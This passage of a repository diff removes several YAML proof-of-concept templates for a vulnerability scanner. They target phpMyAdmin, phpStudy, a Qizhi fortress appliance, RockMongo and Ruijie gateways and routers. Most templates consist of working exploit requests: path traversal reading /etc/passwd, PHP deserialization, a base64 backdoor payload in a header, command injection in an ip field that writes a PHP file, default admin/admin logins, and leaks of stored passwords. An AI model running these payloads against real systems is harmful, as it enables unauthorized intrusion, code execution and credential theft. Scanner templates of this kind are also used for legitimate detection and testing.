path: /index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
follow_redirects: false
expression: >-
response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
detail:
author: p0wd3r
links:
- https://github.com/vulhub/vulhub/tree/master/phpmyadmin/CVE-2018-12613
@@ -1,13 +0,0 @@
name: poc-yaml-phpmyadmin-setup-deserialization
rules:
- method: POST
path: /scripts/setup.php
body: >-
action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}
follow_redirects: false
expression: >-
response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
detail:
author: p0wd3r
links:
- https://github.com/vulhub/vulhub/tree/master/phpmyadmin/WooYun-2016-199433
-19
View File
@@ -1,19 +0,0 @@
name: poc-yaml-phpstudy-backdoor-rce
set:
r: randomLowercase(6)
payload: base64("printf(md5('" + r + "'));")
rules:
- method: GET
path: /index.php
headers:
Accept-Encoding: 'gzip,deflate'
Accept-Charset: '{{payload}}'
follow_redirects: false
expression: |
response.body.bcontains(bytes(md5(r)))
detail:
author: 17bdw
Affected Version: "phpstudy 2016-phpstudy 2018 php 5.2 php 5.4"
vuln_url: "php_xmlrpc.dll"
links:
- https://www.freebuf.com/column/214946.html
@@ -1,12 +0,0 @@
name: poc-yaml-qizhi-fortressaircraft-unauthorized
rules:
- method: GET
path: >-
/audit/gui_detail_view.php?token=1&id=%5C&uid=%2Cchr(97))%20or%201:%20print%20chr(121)%2bchr(101)%2bchr(115)%0d%0a%23&login=shterm
expression: |
response.status == 200 && response.body.bcontains(b"错误的id") && response.body.bcontains(b"审计管理员") && response.body.bcontains(b"事件审计")
detail:
author: we1x4n(https://we1x4n.com/)
links:
- https://mp.weixin.qq.com/s/FjMRJfCqmXfwPzGYq5Vhkw
@@ -1,12 +0,0 @@
name: poc-yaml-rockmongo-default-password
rules:
- method: POST
path: /index.php?action=login.index&host=0
body: more=0&host=0&username=admin&password=admin&db=&lang=zh_cn&expire=3
follow_redirects: false
expression: |
response.status == 302 && response.headers["location"] == "/index.php?action=admin.index&host=0"
detail:
author: B1anda0(https://github.com/B1anda0)
links:
- https://www.runoob.com/mongodb/working-with-rockmongo.html
-24
View File
@@ -1,24 +0,0 @@
name: poc-yaml-ruijie-eg-info-leak
rules:
- method: POST
path: /login.php
headers:
Content-Type: application/x-www-form-urlencoded
body: |
username=admin&password=admin?show+webmaster+user
expression: "true"
search: |
{"data":".*?(?P<username>\w+)\s?(?P<password>\w+)","status":1}
- method: POST
path: /login.php
headers:
Content-Type: application/x-www-form-urlencoded
body: |
username={{username}}&password={{password}}
expression: |
response.status == 200 && response.body.bcontains(b"{\"data\":\"0\",\"status\":1}")
detail:
author: Search?=Null
description: "Ruijie EG网关信息泄漏"
links:
- https://mp.weixin.qq.com/s/jgNyTHSqWA5twyk5tfSQUQ
-29
View File
@@ -1,29 +0,0 @@
name: poc-yaml-ruijie-eg-rce
set:
r1: randomLowercase(4)
r2: randomLowercase(4)
phpcode: >
"<?php echo '" + r1 + "'; unlink(__FILE__); ?>"
payload: base64(phpcode)
rules:
- method: POST
path: "/guest_auth/guestIsUp.php"
headers:
User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"
Accept-Encoding: "gzip, deflate"
Content-Type: "application/x-www-form-urlencoded; charset=UTF-8"
body: |
ip=127.0.0.1|echo '{{payload}}' | base64 -d > {{r2}}.php&mac=00-00
expression: |
response.status == 200
- method: GET
path: "/guest_auth/{{r2}}.php"
headers:
User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"
Accept-Encoding: "gzip, deflate"
expression: |
response.body.bcontains(bytes(r1))
detail:
author: White(https://github.com/WhiteHSBG)
links:
- https://xz.aliyun.com/t/9016?page=1
@@ -1,15 +0,0 @@
name: poc-yaml-ruijie-nbr1300g-cli-password-leak
rules:
- method: POST
path: /WEB_VMS/LEVEL15/
follow_redirects: false
headers:
Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
body: |
command=show webmaster user&strurl=exec%04&mode=%02PRIV_EXEC&signname=Red-Giant.
expression: |
response.status == 200 && response.body.bcontains(bytes("webmaster level 2 username guest password guest"))
detail:
author: abbin777
links:
- http://wiki.peiqi.tech/PeiQi_Wiki/%E7%BD%91%E7%BB%9C%E8%AE%BE%E5%A4%87%E6%BC%8F%E6%B4%9E/%E9%94%90%E6%8D%B7/%E9%94%90%E6%8D%B7NBR%201300G%E8%B7%AF%E7%94%B1%E5%99%A8%20%E8%B6%8A%E6%9D%83CLI%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.html

Some files were not shown because too many files have changed in this diff Show More